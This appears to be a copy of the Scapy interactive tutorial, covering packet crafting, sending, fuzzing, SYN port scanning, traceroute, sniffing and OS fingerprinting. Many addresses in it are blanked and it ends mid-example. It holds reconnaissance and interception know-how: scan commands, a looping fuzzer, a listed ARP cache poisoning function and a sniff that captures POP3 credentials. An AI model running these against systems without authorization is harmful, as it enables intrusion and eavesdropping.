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Starting Scapy

Scapy's interactive shell is run in a terminal session. Root privileges are needed to send the packets, so we're using sudo here:

$ sudo scapy -H
Welcome to Scapy (2.4.0)

On Windows, please open a command prompt (cmd.exe) and make sure that you have administrator privileges:

Welcome to Scapy (2.4.0)

If you do not have all optional packages installed, Scapy will inform you that some features will not be available:

INFO: Can't import python matplotlib wrapper. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

The basic features of sending and receiving packets should still work, though.

Customizing the Terminal

Before you actually start using Scapy, you may want to configure Scapy to properly render colors on your terminal. To do so, set conf.color_theme to one of of the following themes:

DefaultTheme, BrightTheme, RastaTheme, ColorOnBlackTheme, BlackAndWhite, HTMLTheme, LatexTheme

For instance:

conf.color_theme = BrightTheme()


Other parameters such as conf.prompt can also provide some customization. Note Scapy will update the shell automatically as soon as the conf values are changed.

Interactive tutorial

This section will show you several of Scapy's features with Python 2. Just open a Scapy session as shown above and try the examples yourself.

First steps

Let's build a packet and play with it:

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
>>> a.dst=""
>>> a
< IP ttl=10 dst= |>
>>> a.src
>>> del(a.ttl)
>>> a
< IP dst= |>
>>> a.ttl

Stacking layers

The / operator has been used as a composition operator between two layers. When doing so, the lower layer can have one or more of its defaults fields overloaded according to the upper layer. (You still can give the value you want). A string can be used as a raw layer.

>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>


Each packet can be built or dissected (note: in Python _ (underscore) is the latest result):

>>> raw(IP())
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
 chksum=0x7ce7 src= dst= |>
>>>  a=Ether()/IP(dst="")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>>  hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0A                                               .
>>> b=raw(a)
>>> b
 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
 src= dst= options='' |<TCP sport=20 dport=80 seq=0L
 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

We see that a dissected packet has all its fields filled. That's because I consider that each field has its value imposed by the original string. If this is too verbose, the method hide_defaults() will delete every field that has the same value as the default:

>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
 frag=0 proto=TCP chksum=0x783c src= dst= |<TCP dataofs=5L
 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

Reading PCAP files

.. index::
   single: rdpcap()

You can read packets from a pcap file and write them to a pcap file.

>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

Graphical dumps (PDF, PS)

.. index::
   single: pdfdump(), psdump()

If you have PyX installed, you can make a graphical PostScript/PDF dump of a packet or a list of packets (see the ugly PNG image below. PostScript/PDF are far better quality...):

>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)


Command Effect
raw(pkt) assemble the packet
hexdump(pkt) have a hexadecimal dump
ls(pkt) have the list of fields values
pkt.summary() for a one-line summary for a developed view of the packet
pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance)
pkt.sprintf() fills a format string with fields values of the packet
pkt.decode_payload_as() changes the way the payload is decoded
pkt.psdump() draws a PostScript diagram with explained dissection
pkt.pdfdump() draws a PDF with explained dissection
pkt.command() return a Scapy command that can generate the packet

Generating sets of packets

For the moment, we have only generated one packet. Let see how to specify sets of packets as easily. Each field of the whole packet (ever layers) can be a set. This implicitly defines a set of packets, generated using a kind of cartesian product between all the fields.

>>> a=IP(dst="")
>>> a
<IP  dst=Net('') |>
>>> [p for p in a]
[<IP dst= |>, <IP dst= |>,
 <IP dst= |>, <IP dst= |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst= |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst= |<TCP dport=443 |>>]

Some operations (like building the string from a packet) can't work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.

Command Effect
summary() displays a list of summaries of each packet
nsummary() same as previous, with the packet number
conversations() displays a graph of conversations
show() displays the preferred representation (usually nsummary())
filter() returns a packet list filtered with a lambda function
hexdump() returns a hexdump of all packets
hexraw() returns a hexdump of the Raw layer of all packets
padding() returns a hexdump of packets with padding
nzpadding() returns a hexdump of packets with non-zero padding
plot() plots a lambda function applied to the packet list
make table() displays a table according to a lambda function

Sending packets

.. index::
   single: Sending packets, send

Now that we know how to manipulate packets. Let's see how to send them. The send() function will send packets at layer 3. That is to say, it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It's up to you to choose the right interface and the right link layer protocol. send() and sendp() will also return sent packet list if return_packets=True is passed as parameter.

>>> send(IP(dst="")/ICMP())
Sent 1 packets.
>>> sendp(Ether()/IP(dst="",ttl=(1,4)), iface="eth1")
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
Sent 11 packets.

Returns packets sent by send()
>>> send(IP(dst=''), return_packets=True)
Sent 1 packets.
<PacketList: TCP:0 UDP:0 ICMP:0 Other:1>


.. index::
   single: fuzz(), fuzzing

The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables quickly building fuzzing templates and sending them in a loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized. Note: If you use fuzz() in IP layer, src and dst parameter won't be random so in order to do that use RandIP().:

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
Sent 16 packets.

Injecting bytes

.. index::
   single: RawVal

In a packet, each field has a specific type. For instance, the length field of the IP packet len expects an integer. More on that later. If you're developing a PoC, there are times where you'll want to inject some value that doesn't fit that type. This is possible using RawVal

>>> pkt = IP(len=RawVal(b"NotAnInteger"), src="")
>>> bytes(pkt)

Send and receive packets (sr)

.. index::
   single: sr()

Now, let's try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only returns one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.). If there is no response, a None value will be assigned instead when the timeout is reached.

>>> p = sr1(IP(dst="")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
 chksum=0x51dd src= dst= options='' |<ICMP type=echo-reply
 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
 |<Padding load='\x00\x00\x00\x00' |>>>>
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 39
id        = 15489
flags     =
frag      = 0L
ttl       = 42
proto     = ICMP
chksum    = 0x51dd
src       =
dst       =
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00'
.. index::
   single: DNS, Etherleak

A DNS query (rd = recursion desired). The host is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:

>>> sr1(IP(dst="")/UDP()/DNS(rd=1,qd=DNSQR(qname="")))
Begin emission:
Finished to send 1 packets.
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
 src= dst= options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
 nscount=0 arcount=0 qd=<DNSQR qname='' qtype=A qclass=IN |>
 an=<DNSRR rrname='' type=A rclass=IN ttl=3560L rdata='' |>
 ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

The "send'n'receive" functions family is the heart of Scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:

>>> sr(IP(dst="")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans, unans = _
>>> ans.summary()
IP / TCP > S ==> Ether / IP / TCP > RA / Padding
IP / TCP > S ==> Ether / IP / TCP > RA / Padding
IP / TCP > S ==> Ether / IP / TCP > RA / Padding

If there is a limited rate of answers, you can specify a time interval (in seconds) to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, Scapy will try to resend unanswered packets 3 times. If retry is -3, Scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:

>>> sr(IP(dst="")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished to send 12 packets.
Begin emission:
Finished to send 9 packets.
Begin emission:
Finished to send 9 packets.

Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)

SYN Scans

.. index::
   single: SYN Scan

Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:

>>> sr1(IP(dst="")/TCP(dport=80,flags="S"))

The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response:

Begin emission:
.Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src= dst= options=// |
<TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding  load='V\xf7' |>>>

From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.

Use either notations to scan ports 400 through 443 on the system:

>>> sr(IP(dst="")/TCP(sport=666,dport=(440,443),flags="S"))


>>> sr(IP(dst="")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

In order to quickly review responses simply request a summary of collected packets:

>>> ans, unans = _
>>> ans.summary()
IP / TCP > S ======> IP / TCP > RA / Padding
IP / TCP > S ======> IP / TCP > RA / Padding
IP / TCP > S ======> IP / TCP > RA / Padding
IP / TCP > S ======> IP / TCP > SA / Padding

The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:

>>> ans.summary( lambda s,r: r.sprintf(" \t %TCP.flags%") )
440      RA
441      RA
442      RA
https    SA

Even better, a table can be built using the make_table() function to display information about multiple targets:

>>> ans, unans = sr(IP(dst=["","",""])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
...    lambda s,r: (s.dst, s.dport,
...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))      
22 - dest-unreach RA          -
80  SA                           RA          SA
443 SA                           SA          SA

The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.

For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:

>>> ans.nsummary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP > S ======> IP / TCP > SA

In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:

>>> ans.summary(lfilter = lambda s,r: r.sprintf("%TCP.flags%") == "SA",prn=lambda s,r: r.sprintf(" is open"))
https is open

Again, for larger scans we can build a table of open ports:

>>> ans.filter(lambda s,r: TCP in r and r[TCP].flags&2).make_table(lambda s,r:
...             (s.dst, s.dport, "X"))
80  X             -           X
443 X             X           X

If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:

>>> report_ports("",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

.. index::
   single: Traceroute

A TCP traceroute:

>>> ans, unans = sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
5 0
6 0
4 0
7 0
8 0
9 0
10 0
11 0
13 0
12 0
14 0
15 0
16 0
17 0
18 0
19 1
20 1
21 1
22 1
23 1
24 1

Note that the TCP traceroute and some other high-level functions are already coded:

>>> lsc()
sr               : Send and receive packets at layer 3
sr1              : Send packets at layer 3 and return only the first answer
srp              : Send and receive packets at layer 2
srp1             : Send and receive packets at layer 2 and return only the first answer
srloop           : Send a packet at layer 3 in loop and print the answer each time
srploop          : Send a packet at layer 2 in loop and print the answer each time
sniff            : Sniff packets
p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
send             : Send packets at layer 3
sendp            : Send packets at layer 2
traceroute       : Instant TCP traceroute
arping           : Send ARP who-has requests to determine which hosts are up
ls               : List  available layers, or infos on a given layer
lsc              : List user commands
queso            : Queso OS fingerprinting
nmap_fp          : nmap fingerprinting
report_ports     : portscan a target and output a LaTeX table
dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del       : Send a DNS delete message to a nameserver for "name"

Scapy may also use the GeoIP2 module, in combination with matplotlib and cartopy to generate fancy graphics such as below:


In this example, we used the traceroute_map() function to print the graphic. This method is a shortcut which uses the world_trace of the TracerouteResult objects. It could have been done differently:

>>> conf.geoip_city = "path/to/GeoLite2-City.mmdb"
>>> a = traceroute(["", ""], verbose=0)
>>> a.world_trace()

or such as above:

>>> conf.geoip_city = "path/to/GeoLite2-City.mmdb"
>>> traceroute_map(["", ""])

To use those functions, it is required to have installed the geoip2 module, its database (direct download) but also the cartopy module.

Configuring super sockets

.. index::
   single: super socket

Different super sockets are available in Scapy: the native ones, and the ones that use libpcap (to send/receive packets).

By default, Scapy will try to use the native ones (except on Windows, where the winpcap/npcap ones are preferred). To manually use the libpcap ones, you must:

  • On Unix/OSX: be sure to have libpcap installed.
  • On Windows: have Npcap/Winpcap installed. (default)

Then use:

>>> conf.use_pcap = True

This will automatically update the sockets pointing to conf.L2socket and conf.L3socket.

If you want to manually set them, you have a bunch of sockets available, depending on your platform. For instance, you might want to use:

>>> conf.L3socket=L3pcapSocket  # Receive/send L3 packets through libpcap
>>> conf.L2listen=L2ListenTcpdump  # Receive L2 packets through TCPDump


.. index::
   single: sniff()

We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on conf.iface:

>>>  sniff(filter="icmp and host", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>>  a=_
>>>  a.nsummary()
0000 Ether / IP / ICMP echo-request 0 / Raw
0001 Ether / IP / ICMP echo-request 0 / Raw
>>>  a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
 src= dst= options='' |<ICMP type=echo-request code=0
 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has says / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x:
---[ Ethernet ]---
dst       = 00:ae:f3:52:aa:d1
src       = 00:02:15:37:a2:44
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 0
   flags     = DF
   frag      = 0L
   ttl       = 64
   proto     = ICMP
   chksum    = 0x3831
   src       =
   dst       =
   options   = ''
---[ ICMP ]---
      type      = echo-request
      code      = 0
      chksum    = 0x89d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst       = 00:02:15:37:a2:44
src       = 00:ae:f3:52:aa:d1
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 2070
   flags     =
   frag      = 0L
   ttl       = 42
   proto     = ICMP
   chksum    = 0x861b
   src       =
   dst       =
   options   = ''
---[ ICMP ]---
      type      = echo-reply
      code      = 0
      chksum    = 0x91d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
            load      = '\n_\x00\x0b'
>>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary())
eth3: Ether / IP / ICMP > echo-request 0 / Raw
eth3: Ether / IP / ICMP > echo-reply 0 / Raw
eth2: Ether / IP / ICMP > echo-request 0 / Raw
eth2: Ether / IP / ICMP > echo-reply 0 / Raw

For even more control over displayed information we can use the sprintf() function:

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) -> -> -> ->
'GET / HTTP/1.1\r\nHost:\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv: Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/\r\nAccept: text/xml,application/xml,application/xhtml+xml,
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

We can sniff and do passive OS fingerprinting:

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src= dst= options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

The number before the OS guess is the accuracy of the guess.


When sniffing on several interfaces (e.g. iface=["eth0", ...]), you can check what interface a packet was sniffed on by using the sniffed_on attribute, as shown in one of the examples above.

Asynchronous Sniffing

.. index::
   single: AsyncSniffer()


Asynchronous sniffing is only available since Scapy 2.4.3


Asynchronous sniffing does not necessarily improves performance (it's rather the opposite). If you want to sniff on multiple interfaces / socket, remember you can pass them all to a single sniff() call

It is possible to sniff asynchronously. This allows to stop the sniffer programmatically, rather than with ctrl^C. It provides start(), stop() and join() utils.

The basic usage would be:

>>> t = AsyncSniffer()
>>> t.start()
>>> print("hey")
>>> results = t.stop()

The AsyncSniffer class has a few useful keys, such as results (the packets collected) or running, that can be used. It accepts the same arguments than sniff() (in fact, their implementations are merged). For instance:

>>> t = AsyncSniffer(iface="enp0s3", count=200)
>>> t.start()
>>> t.join()  # this will hold until 200 packets are collected
>>> results = t.results
>>> print(len(results))

Another example: using prn and store=False

>>> t = AsyncSniffer(prn=lambda x: x.summary(), store=False, filter="tcp")
>>> t.start()
>>> time.sleep(20)
>>> t.stop()

Advanced Sniffing - Sniffing Sessions


Sessions are only available since Scapy 2.4.3

sniff() also provides Sessions, that allows to dissect a flow of packets seamlessly. For instance, you may want your sniff(prn=...) function to automatically defragment IP packets, before executing the prn.

Scapy includes some basic Sessions, but it is possible to implement your own. Available by default:

Those sessions can be used using the session= parameter of sniff(). Examples:

>>> sniff(session=IPSession, iface="eth0")
>>> sniff(session=TCPSession, prn=lambda x: x.summary(), store=False)
>>> sniff(offline="file.pcap", session=NetflowSession)


To implement your own Session class, in order to support another flow-based protocol, start by copying a sample from scapy/ Your custom Session class only needs to extend the :py:class:`~scapy.sessions.DefaultSession` class, and implement a on_packet_received function, such as in the example.


Would you need it, you can use: class TLS_over_TCP(TLSSession, TCPSession): pass to sniff TLS packets that are defragmented.

How to use TCPSession to defragment TCP packets

The layer on which the decompression is applied must be immediately following the TCP layer. You need to implement a class function called tcp_reassemble that accepts the binary data and a metada dictionary as argument and returns, when full, a packet. Let's study the (pseudo) example of TLS:

class TLS(Packet):

    def tcp_reassemble(cls, data, metadata):
        length = struct.unpack("!H", data[3:5])[0] + 5
        if len(data) == length:
            return TLS(data)

In this example, we first get the total length of the TLS payload announced by the TLS header, and we compare it to the length of the data. When the data reaches this length, the packet is complete and can be returned. When implementing tcp_reassemble, it's usually a matter of detecting when a packet isn't missing anything else.

The data argument is bytes and the metadata argument is a dictionary which keys are as follow:

  • metadata["pay_class"]: the TCP payload class (here TLS)
  • metadata.get("tcp_psh", False): will be present if the PUSH flag is set
  • metadata.get("tcp_end", False): will be present if the END or RESET flag is set


.. index::
   single: filter, sprintf()

Demo of both bpf filter and sprintf() method:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
 prn=lambda x: x.sprintf(" -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%")) ->   S : ->  SA : ->   A : ->  PA : +OK <> ->   A : ->  PA : USER toto ->   A : ->  PA : +OK ->   A : ->  PA : PASS tata ->  PA : -ERR authorization failed ->   A : ->  FA : ->  FA : ->   A :

Send and receive in a loop

.. index::
   single: srloop()

Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change:

>>> srloop(IP(dst="")/TCP())
RECV 1: Ether / IP / TCP > SA / Padding
fail 3: IP / TCP > S
        IP / TCP > S
        IP / TCP > S
RECV 1: Ether / IP / TCP > SA / Padding
fail 3: IP / TCP > S
        IP / TCP > S
        IP / TCP > S
RECV 1: Ether / IP / TCP > SA / Padding
fail 3: IP / TCP > S
        IP / TCP > S
        IP / TCP > S
RECV 1: Ether / IP / TCP > SA / Padding
fail 3: IP / TCP > S
        IP / TCP > S
        IP / TCP > S

Importing and Exporting Data


It is often useful to save capture packets to pcap file for use at later time or with different applications:

>>> wrpcap("temp.cap",pkts)

To restore previously saved pcap file:

>>> pkts = rdpcap("temp.cap")


>>> pkts = sniff(offline="temp.cap")


Scapy allows you to export recorded packets in various hex formats.

Use hexdump() to display one or more packets using classic hexdump format:

>>> hexdump(pkt)
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67

Hexdump above can be reimported back into Scapy using import_hexcap():

>>> pkt_hex = Ether(import_hexcap())
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67
>>> pkt_hex
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src= dst= options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Binary string

You can also convert entire packet into a binary string using the raw() function:

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
